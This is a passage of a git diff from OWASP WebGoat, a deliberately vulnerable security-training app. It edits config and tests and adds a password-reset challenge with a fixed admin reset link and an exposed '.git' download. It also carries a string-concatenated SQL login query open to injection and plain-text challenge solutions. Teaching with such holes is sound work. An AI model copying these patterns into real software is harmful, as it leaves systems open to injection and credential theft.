@NoArgsConstructor(access = AccessLevel.PROTECTED)
|
||||||
|
public class UserSession {
|
||||||
|
|
||||||
|
private WebGoatUser webGoatUser;
|
||||||
|
@Id
|
||||||
|
private String sessionId;
|
||||||
|
}
|
@ -29,7 +29,16 @@ webgoat.database.driver=org.hsqldb.jdbcDriver
|
|||||||
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
||||||
webgoat.default.language=en
|
webgoat.default.language=en
|
||||||
|
|
||||||
|
webwolf.port=8081
|
||||||
|
webwolf.url=http://localhost:${webwolf.port}/WebWolf
|
||||||
|
webworf.url.landingpage=http://localhost:${webwolf.port}/landing
|
||||||
|
|
||||||
|
spring.jackson.serialization.indent_output=true
|
||||||
|
spring.jackson.serialization.write-dates-as-timestamps=false
|
||||||
|
|
||||||
|
spring.activemq.brokerUrl=tcp://localhost:61616
|
||||||
|
|
||||||
|
spring.data.mongodb.port=27017
|
||||||
spring.data.mongodb.database=webgoat
|
spring.data.mongodb.database=webgoat
|
||||||
spring.mongodb.embedded.storage.databaseDir=${webgoat.user.directory}/mongodb/
|
spring.mongodb.embedded.storage.databaseDir=${webgoat.user.directory}/mongodb/
|
||||||
|
|
||||||
|
@ -1,15 +0,0 @@
|
|||||||
<databaseChangeLog
|
|
||||||
xmlns="http://www.liquibase.org/xml/ns/dbchangelog"
|
|
||||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
||||||
xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog
|
|
||||||
http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-3.4.xsd">
|
|
||||||
|
|
||||||
<changeSet author="WebGoat" id="init_schema">
|
|
||||||
<createTable tableName="web_goat_user">
|
|
||||||
<column name="username" type="varchar(32)"/>
|
|
||||||
<column name="password" type="varchar(32)"/>
|
|
||||||
<column name="role" type="varchar(32)"/>
|
|
||||||
</createTable>
|
|
||||||
<addPrimaryKey columnNames="username" constraintName="pk_user" tableName="web_goat_user"/>
|
|
||||||
</changeSet>
|
|
||||||
</databaseChangeLog>
|
|
@ -24,7 +24,7 @@
|
|||||||
#
|
#
|
||||||
|
|
||||||
lesson.completed=Congratulations. You have successfully completed this lesson.
|
lesson.completed=Congratulations. You have successfully completed this lesson.
|
||||||
assignment.solved=Congratulations. You have successfully complete the assignment.
|
assignment.solved=Congratulations. You have successfully completed the assignment.
|
||||||
assignment.not.solved=Sorry the solution is not correct, please try again.
|
assignment.not.solved=Sorry the solution is not correct, please try again.
|
||||||
RestartLesson=Restart this Lesson
|
RestartLesson=Restart this Lesson
|
||||||
SolutionVideos=Solution Videos
|
SolutionVideos=Solution Videos
|
||||||
|
After Width: | Height: | Size: 56 KiB |
@ -1146,7 +1146,7 @@ div.captured-flag {
|
|||||||
}
|
}
|
||||||
|
|
||||||
.appseceu-banner {
|
.appseceu-banner {
|
||||||
background: url('img/appseceu-17.png') no-repeat 0px 0px;
|
background: url('img/owasp_logo.jpg') no-repeat 0px 0px;
|
||||||
height: 117px;
|
height: 117px;
|
||||||
width: 1268px;
|
width: 1268px;
|
||||||
margin-bottom: 20px;
|
margin-bottom: 20px;
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
<div class="scoreboard-title">WebGoat Challenge - AppSec EU 2017</div>
|
<div class="scoreboard-title">WebGoat Challenge</div>
|
||||||
<div class="appseceu-banner">banner here</div>
|
<div class="appseceu-banner"></div>
|
||||||
<table class="scoreboard-table">
|
<table class="scoreboard-table">
|
||||||
<% _.each(rankings, function(userRanking, index) { %>
|
<% _.each(rankings, function(userRanking, index) { %>
|
||||||
<tr>
|
<tr>
|
||||||
|
@ -0,0 +1,19 @@
|
|||||||
|
package org.owasp.webgoat.plugins;
|
||||||
|
|
||||||
|
import org.apache.activemq.broker.BrokerService;
|
||||||
|
import org.mockito.Mockito;
|
||||||
|
import org.springframework.context.annotation.Bean;
|
||||||
|
import org.springframework.context.annotation.Configuration;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 8/30/17.
|
||||||
|
*/
|
||||||
|
@Configuration
|
||||||
|
public class JmsTestConfig {
|
||||||
|
|
||||||
|
@Bean
|
||||||
|
public BrokerService broker() throws Exception {
|
||||||
|
return Mockito.mock(BrokerService.class);
|
||||||
|
}
|
||||||
|
}
|
@ -9,6 +9,7 @@ import org.springframework.beans.factory.annotation.Autowired;
|
|||||||
import org.springframework.boot.context.embedded.LocalServerPort;
|
import org.springframework.boot.context.embedded.LocalServerPort;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
import org.springframework.boot.test.mock.mockito.MockBean;
|
import org.springframework.boot.test.mock.mockito.MockBean;
|
||||||
|
import org.springframework.context.annotation.Import;
|
||||||
import org.springframework.test.context.TestPropertySource;
|
import org.springframework.test.context.TestPropertySource;
|
||||||
import org.springframework.test.web.servlet.MockMvc;
|
import org.springframework.test.web.servlet.MockMvc;
|
||||||
import org.springframework.web.context.WebApplicationContext;
|
import org.springframework.web.context.WebApplicationContext;
|
||||||
@ -23,6 +24,7 @@ import static org.mockito.Mockito.when;
|
|||||||
*/
|
*/
|
||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
@TestPropertySource(locations = "classpath:/application-test.properties")
|
@TestPropertySource(locations = "classpath:/application-test.properties")
|
||||||
|
@Import(JmsTestConfig.class)
|
||||||
public abstract class LessonTest {
|
public abstract class LessonTest {
|
||||||
|
|
||||||
@LocalServerPort
|
@LocalServerPort
|
||||||
|
@ -1 +1 @@
|
|||||||
webgoat.user.directory=/tmp/
|
webgoat.user.directory=${java.io.tmpdir}
|
@ -1 +0,0 @@
|
|||||||
log4j.rootLogger=INFO
|
|
1
webgoat-container/src/test/resources/logback-test.xml
Normal file
@ -0,0 +1 @@
|
|||||||
|
<configuration />
|
@ -6,7 +6,6 @@ import org.junit.runner.RunWith;
|
|||||||
import org.owasp.webgoat.plugins.LessonTest;
|
import org.owasp.webgoat.plugins.LessonTest;
|
||||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
|
||||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||||
|
|
||||||
import static org.hamcrest.Matchers.is;
|
import static org.hamcrest.Matchers.is;
|
||||||
@ -38,7 +37,6 @@ public class BypassRestrictionsFrontendValidationTest extends LessonTest {
|
|||||||
.param("field6", "90201 1111")
|
.param("field6", "90201 1111")
|
||||||
.param("field7", "301-604-4882")
|
.param("field7", "301-604-4882")
|
||||||
.param("error", "2"))
|
.param("error", "2"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -53,7 +51,6 @@ public class BypassRestrictionsFrontendValidationTest extends LessonTest {
|
|||||||
.param("field6", "90201 1111AA")
|
.param("field6", "90201 1111AA")
|
||||||
.param("field7", "301-604-4882$$")
|
.param("field7", "301-604-4882$$")
|
||||||
.param("error", "0"))
|
.param("error", "0"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -68,7 +65,6 @@ public class BypassRestrictionsFrontendValidationTest extends LessonTest {
|
|||||||
.param("field6", "90201 1111AA")
|
.param("field6", "90201 1111AA")
|
||||||
.param("field7", "301-604-4882AA")
|
.param("field7", "301-604-4882AA")
|
||||||
.param("error", "0"))
|
.param("error", "0"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -45,7 +45,7 @@ public class Flag extends Endpoint {
|
|||||||
|
|
||||||
@PostConstruct
|
@PostConstruct
|
||||||
public void initFlags() {
|
public void initFlags() {
|
||||||
IntStream.range(1, 7).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
|
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
|
||||||
FLAGS.entrySet().stream().forEach(e -> log.debug("Flag {} {}", e.getKey(), e.getValue()));
|
FLAGS.entrySet().stream().forEach(e -> log.debug("Flag {} {}", e.getKey(), e.getValue()));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -14,5 +14,7 @@ public interface SolutionConstants {
|
|||||||
String PASSWORD_TOM = "thisisasecretfortomonly";
|
String PASSWORD_TOM = "thisisasecretfortomonly";
|
||||||
String PASSWORD_LARRY = "larryknows";
|
String PASSWORD_LARRY = "larryknows";
|
||||||
String JWT_PASSWORD = "victory";
|
String JWT_PASSWORD = "victory";
|
||||||
|
String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
|
||||||
|
String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
|
||||||
|
String TOM_EMAIL = "tom@webgoat-cloud.org";
|
||||||
}
|
}
|
||||||
|
@ -6,7 +6,7 @@ import com.google.common.collect.EvictingQueue;
|
|||||||
import com.google.common.collect.Maps;
|
import com.google.common.collect.Maps;
|
||||||
import com.google.common.io.Files;
|
import com.google.common.io.Files;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.joda.time.DateTime;
|
import org.joda.time.DateTime;
|
||||||
import org.joda.time.format.DateTimeFormat;
|
import org.joda.time.format.DateTimeFormat;
|
||||||
import org.joda.time.format.DateTimeFormatter;
|
import org.joda.time.format.DateTimeFormatter;
|
||||||
@ -45,6 +45,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
|||||||
* @since 4/8/17.
|
* @since 4/8/17.
|
||||||
*/
|
*/
|
||||||
@AssignmentPath("/challenge/3")
|
@AssignmentPath("/challenge/3")
|
||||||
|
@Slf4j
|
||||||
public class Assignment3 extends AssignmentEndpoint {
|
public class Assignment3 extends AssignmentEndpoint {
|
||||||
|
|
||||||
@Value("${webgoat.server.directory}")
|
@Value("${webgoat.server.directory}")
|
||||||
@ -66,10 +67,11 @@ public class Assignment3 extends AssignmentEndpoint {
|
|||||||
@PostConstruct
|
@PostConstruct
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public void copyFile() {
|
public void copyFile() {
|
||||||
File targetDirectory = new File(webGoatHomeDirectory, "/challenges");
|
File targetDirectory = new File(webGoatHomeDirectory);
|
||||||
if (!targetDirectory.exists()) {
|
if (!targetDirectory.exists()) {
|
||||||
targetDirectory.mkdir();
|
targetDirectory.mkdir();
|
||||||
}
|
}
|
||||||
|
log.info("Copied secret.txt to: {}", targetDirectory);
|
||||||
Files.write(secretContents, new File(targetDirectory, "secret.txt"), Charset.defaultCharset());
|
Files.write(secretContents, new File(targetDirectory, "secret.txt"), Charset.defaultCharset());
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -106,14 +108,14 @@ public class Assignment3 extends AssignmentEndpoint {
|
|||||||
userComments.put(webSession.getUserName(), comments);
|
userComments.put(webSession.getUserName(), comments);
|
||||||
}
|
}
|
||||||
if (checkSolution(comment)) {
|
if (checkSolution(comment)) {
|
||||||
attackResult = success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(2)).build();
|
attackResult = success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(3)).build();
|
||||||
}
|
}
|
||||||
return attackResult;
|
return attackResult;
|
||||||
}
|
}
|
||||||
|
|
||||||
private boolean checkSolution(Comment comment) {
|
private boolean checkSolution(Comment comment) {
|
||||||
if (StringUtils.equals(comment.getText(), secretContents)) {
|
if (comment.getText().contains(secretContents)) {
|
||||||
comment.setText("Congratulations to " + webSession.getUserName() + " for finding the flag!!");
|
comment.setText("Congratulations to " + webSession.getUserName() + " for finding the flag!! Check your original response where you posted the XXE attack ");
|
||||||
comments.add(comment);
|
comments.add(comment);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
@ -9,6 +9,7 @@ import org.owasp.webgoat.plugin.Flag;
|
|||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||||
import org.owasp.webgoat.session.WebSession;
|
import org.owasp.webgoat.session.WebSession;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.util.StringUtils;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
@ -38,6 +39,13 @@ public class Assignment5 extends AssignmentEndpoint {
|
|||||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
Connection connection = DatabaseUtilities.getConnection(webSession);
|
||||||
checkDatabase(connection);
|
checkDatabase(connection);
|
||||||
|
|
||||||
|
if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {
|
||||||
|
return failed().feedback("required4").build();
|
||||||
|
}
|
||||||
|
if (!"Larry".equals(username_login)) {
|
||||||
|
return failed().feedback("user.not.larry").feedbackArgs(username_login).build();
|
||||||
|
}
|
||||||
|
|
||||||
PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = '" + username_login + "' and password = '" + password_login + "'");
|
PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = '" + username_login + "' and password = '" + password_login + "'");
|
||||||
ResultSet resultSet = statement.executeQuery();
|
ResultSet resultSet = statement.executeQuery();
|
||||||
|
|
||||||
|
@ -0,0 +1,84 @@
|
|||||||
|
package org.owasp.webgoat.plugin.challenge7;
|
||||||
|
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
|
import org.owasp.webgoat.mail.IncomingMailEvent;
|
||||||
|
import org.owasp.webgoat.plugin.SolutionConstants;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.core.io.ClassPathResource;
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.MediaType;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.jms.core.JmsTemplate;
|
||||||
|
import org.springframework.util.StringUtils;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import java.net.URI;
|
||||||
|
import java.net.URISyntaxException;
|
||||||
|
import java.time.LocalDateTime;
|
||||||
|
|
||||||
|
import static org.owasp.webgoat.plugin.Flag.FLAGS;
|
||||||
|
import static org.springframework.web.bind.annotation.RequestMethod.GET;
|
||||||
|
import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 4/8/17.
|
||||||
|
*/
|
||||||
|
@AssignmentPath("/challenge/7")
|
||||||
|
@Slf4j
|
||||||
|
public class Assignment7 extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
|
||||||
|
"<a target='_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password." +
|
||||||
|
"\n \n\n" +
|
||||||
|
"If you did not request this password change you can ignore this message." +
|
||||||
|
"\n" +
|
||||||
|
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
|
||||||
|
"\n\n" +
|
||||||
|
"Kind regards, \nTeam WebGoat";
|
||||||
|
|
||||||
|
@Autowired
|
||||||
|
private JmsTemplate jmsTemplate;
|
||||||
|
|
||||||
|
@GetMapping("/reset-password/{link}")
|
||||||
|
public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {
|
||||||
|
if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) {
|
||||||
|
return ResponseEntity.accepted().body("<h1>Success!!</h1>" +
|
||||||
|
"<img src='/WebGoat/images/hi-five-cat.jpg'>" +
|
||||||
|
"<br/><br/>Here is your flag: " + "<b>" + FLAGS.get(7) + "</b>");
|
||||||
|
}
|
||||||
|
return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT).body("That is not the reset link for admin");
|
||||||
|
}
|
||||||
|
|
||||||
|
@RequestMapping(method = POST)
|
||||||
|
@ResponseBody
|
||||||
|
public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request) throws URISyntaxException {
|
||||||
|
if (StringUtils.hasText(email)) {
|
||||||
|
String username = email.substring(0, email.indexOf("@"));
|
||||||
|
if (StringUtils.hasText(username)) {
|
||||||
|
URI uri = new URI(request.getRequestURL().toString());
|
||||||
|
IncomingMailEvent mail = IncomingMailEvent.builder()
|
||||||
|
.title("Your password reset link for challenge 7")
|
||||||
|
.contents(String.format(TEMPLATE, uri.getScheme() + "://" + uri.getHost(), new PasswordResetLink().createPasswordReset(username, "webgoat")))
|
||||||
|
.sender("password-reset@webgoat-cloud.net")
|
||||||
|
.recipient(username)
|
||||||
|
.time(LocalDateTime.now()).build();
|
||||||
|
jmsTemplate.convertAndSend("mailbox", mail);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return success().feedback("email.send").feedbackArgs(email).build();
|
||||||
|
}
|
||||||
|
|
||||||
|
@RequestMapping(method = GET, value = "/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
|
||||||
|
@ResponseBody
|
||||||
|
@SneakyThrows
|
||||||
|
public ClassPathResource git() {
|
||||||
|
return new ClassPathResource("challenge7/git.zip");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,39 @@
|
|||||||
|
package org.owasp.webgoat.plugin.challenge7;
|
||||||
|
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
|
import org.owasp.webgoat.lessons.Category;
|
||||||
|
import org.owasp.webgoat.lessons.NewLesson;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 3/21/17.
|
||||||
|
*/
|
||||||
|
public class Challenge7 extends NewLesson {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Category getDefaultCategory() {
|
||||||
|
return Category.CHALLENGE;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public List<String> getHints() {
|
||||||
|
return Lists.newArrayList();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Integer getDefaultRanking() {
|
||||||
|
return 10;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getTitle() {
|
||||||
|
return "challenge7.title";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getId() {
|
||||||
|
return "Challenge7";
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,689 @@
|
|||||||
|
package org.owasp.webgoat.plugin.challenge7;
|
||||||
|
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.UnsupportedEncodingException;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* MD5 hash generator.
|
||||||
|
* More information about this class is available from <a target="_top" href=
|
||||||
|
* "http://ostermiller.org/utils/MD5.html">ostermiller.org</a>.
|
||||||
|
* <p>
|
||||||
|
* This class takes as input a message of arbitrary length and produces
|
||||||
|
* as output a 128-bit "fingerprint" or "message digest" of the input.
|
||||||
|
* It is conjectured that it is computationally infeasible to produce
|
||||||
|
* two messages having the same message digest, or to produce any
|
||||||
|
* message having a given pre-specified target message digest. The MD5
|
||||||
|
* algorithm is intended for digital signature applications, where a
|
||||||
|
* large file must be "compressed" in a secure manner before being
|
||||||
|
* encrypted with a private (secret) key under a public-key cryptosystem
|
||||||
|
* such as RSA.
|
||||||
|
* <p>
|
||||||
|
* For more information see RFC1321.
|
||||||
|
*
|
||||||
|
* @author Santeri Paavolainen http://santtu.iki.fi/md5/
|
||||||
|
* @author Stephen Ostermiller http://ostermiller.org/contact.pl?regarding=Java+Utilities
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public class MD5 {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Class constructor
|
||||||
|
*
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public MD5() {
|
||||||
|
reset();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Command line program that will take files as arguments
|
||||||
|
* and output the MD5 sum for each file.
|
||||||
|
*
|
||||||
|
* @param args command line arguments
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public static void main(String[] args) {
|
||||||
|
if (args.length == 0) {
|
||||||
|
System.err.println("Please specify a file.");
|
||||||
|
} else {
|
||||||
|
for (String element : args) {
|
||||||
|
try {
|
||||||
|
System.out.println(MD5.getHashString(new File(element)) + " " + element);
|
||||||
|
} catch (IOException x) {
|
||||||
|
System.err.println(x.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets this hash sum as an array of 16 bytes.
|
||||||
|
*
|
||||||
|
* @return Array of 16 bytes, the hash of all updated bytes.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public byte[] getHash() {
|
||||||
|
if (!finalState.valid) {
|
||||||
|
finalState.copy(workingState);
|
||||||
|
long bitCount = finalState.bitCount;
|
||||||
|
// Compute the number of left over bits
|
||||||
|
int leftOver = (int) (((bitCount >>> 3)) & 0x3f);
|
||||||
|
// Compute the amount of padding to add based on number of left over bits.
|
||||||
|
int padlen = (leftOver < 56) ? (56 - leftOver) : (120 - leftOver);
|
||||||
|
// add the padding
|
||||||
|
update(finalState, padding, 0, padlen);
|
||||||
|
// add the length (computed before padding was added)
|
||||||
|
update(finalState, encode(bitCount), 0, 8);
|
||||||
|
finalState.valid = true;
|
||||||
|
}
|
||||||
|
// make a copy of the hash before returning it.
|
||||||
|
return encode(finalState.state, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns 32-character hex representation of this hash.
|
||||||
|
*
|
||||||
|
* @return String representation of this object's hash.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public String getHashString() {
|
||||||
|
return toHex(this.getHash());
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets the MD5 hash of the given byte array.
|
||||||
|
*
|
||||||
|
* @param b byte array for which an MD5 hash is desired.
|
||||||
|
* @return Array of 16 bytes, the hash of all updated bytes.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public static byte[] getHash(byte[] b) {
|
||||||
|
MD5 md5 = new MD5();
|
||||||
|
md5.update(b);
|
||||||
|
return md5.getHash();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets the MD5 hash of the given byte array.
|
||||||
|
*
|
||||||
|
* @param b byte array for which an MD5 hash is desired.
|
||||||
|
* @return 32-character hex representation the data's MD5 hash.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public static String getHashString(byte[] b) {
|
||||||
|
MD5 md5 = new MD5();
|
||||||
|
md5.update(b);
|
||||||
|
return md5.getHashString();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets the MD5 hash the data on the given InputStream.
|
||||||
|
*
|
||||||
|
* @param in byte array for which an MD5 hash is desired.
|
||||||
|
* @return Array of 16 bytes, the hash of all updated bytes.
|
||||||
|
* @throws IOException if an I/O error occurs.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public static byte[] getHash(InputStream in) throws IOException {
|
||||||
|
MD5 md5 = new MD5();
|
||||||
|
byte[] buffer = new byte[1024];
|
||||||
|
int read;
|
||||||
|
while ((read = in.read(buffer)) != -1) {
|
||||||
|
md5.update(buffer, read);
|
||||||
|
}
|
||||||
|
return md5.getHash();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets the MD5 hash the data on the given InputStream.
|
||||||
|
*
|
||||||
|
* @param in byte array for which an MD5 hash is desired.
|
||||||
|
* @return 32-character hex representation the data's MD5 hash.
|
||||||
|
* @throws IOException if an I/O error occurs.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public static String getHashString(InputStream in) throws IOException {
|
||||||
|
MD5 md5 = new MD5();
|
||||||
|
byte[] buffer = new byte[1024];
|
||||||
|
int read;
|
||||||
|
while ((read = in.read(buffer)) != -1) {
|
||||||
|
md5.update(buffer, read);
|
||||||
|
}
|
||||||
|
return md5.getHashString();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets the MD5 hash of the given file.
|
||||||
|
*
|
||||||
|
* @param f file for which an MD5 hash is desired.
|
||||||
|
* @return Array of 16 bytes, the hash of all updated bytes.
|
||||||
|
* @throws IOException if an I/O error occurs.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public static byte[] getHash(File f) throws IOException {
|
||||||
|
InputStream is = new FileInputStream(f);
|
||||||
|
byte[] hash = getHash(is);
|
||||||
|
is.close();
|
||||||
|
return hash;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets the MD5 hash of the given file.
|
||||||
|
*
|
||||||
|
* @param f file array for which an MD5 hash is desired.
|
||||||
|
* @return 32-character hex representation the data's MD5 hash.
|
||||||
|
* @throws IOException if an I/O error occurs.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public static String getHashString(File f) throws IOException {
|
||||||
|
InputStream is = new FileInputStream(f);
|
||||||
|
String hash = getHashString(is);
|
||||||
|
is.close();
|
||||||
|
return hash;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets the MD5 hash of the given String.
|
||||||
|
* The string is converted to bytes using the current
|
||||||
|
* platform's default character encoding.
|
||||||
|
*
|
||||||
|
* @param s String for which an MD5 hash is desired.
|
||||||
|
* @return Array of 16 bytes, the hash of all updated bytes.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public static byte[] getHash(String s) {
|
||||||
|
MD5 md5 = new MD5();
|
||||||
|
md5.update(s);
|
||||||
|
return md5.getHash();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets the MD5 hash of the given String.
|
||||||
|
* The string is converted to bytes using the current
|
||||||
|
* platform's default character encoding.
|
||||||
|
*
|
||||||
|
* @param s String for which an MD5 hash is desired.
|
||||||
|
* @return 32-character hex representation the data's MD5 hash.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public static String getHashString(String s) {
|
||||||
|
MD5 md5 = new MD5();
|
||||||
|
md5.update(s);
|
||||||
|
return md5.getHashString();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets the MD5 hash of the given String.
|
||||||
|
*
|
||||||
|
* @param s String for which an MD5 hash is desired.
|
||||||
|
* @param enc The name of a supported character encoding.
|
||||||
|
* @return Array of 16 bytes, the hash of all updated bytes.
|
||||||
|
* @throws UnsupportedEncodingException If the named encoding is not supported.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public static byte[] getHash(String s, String enc) throws UnsupportedEncodingException {
|
||||||
|
MD5 md5 = new MD5();
|
||||||
|
md5.update(s, enc);
|
||||||
|
return md5.getHash();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets the MD5 hash of the given String.
|
||||||
|
*
|
||||||
|
* @param s String for which an MD5 hash is desired.
|
||||||
|
* @param enc The name of a supported character encoding.
|
||||||
|
* @return 32-character hex representation the data's MD5 hash.
|
||||||
|
* @throws UnsupportedEncodingException If the named encoding is not supported.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public static String getHashString(String s, String enc) throws UnsupportedEncodingException {
|
||||||
|
MD5 md5 = new MD5();
|
||||||
|
md5.update(s, enc);
|
||||||
|
return md5.getHashString();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
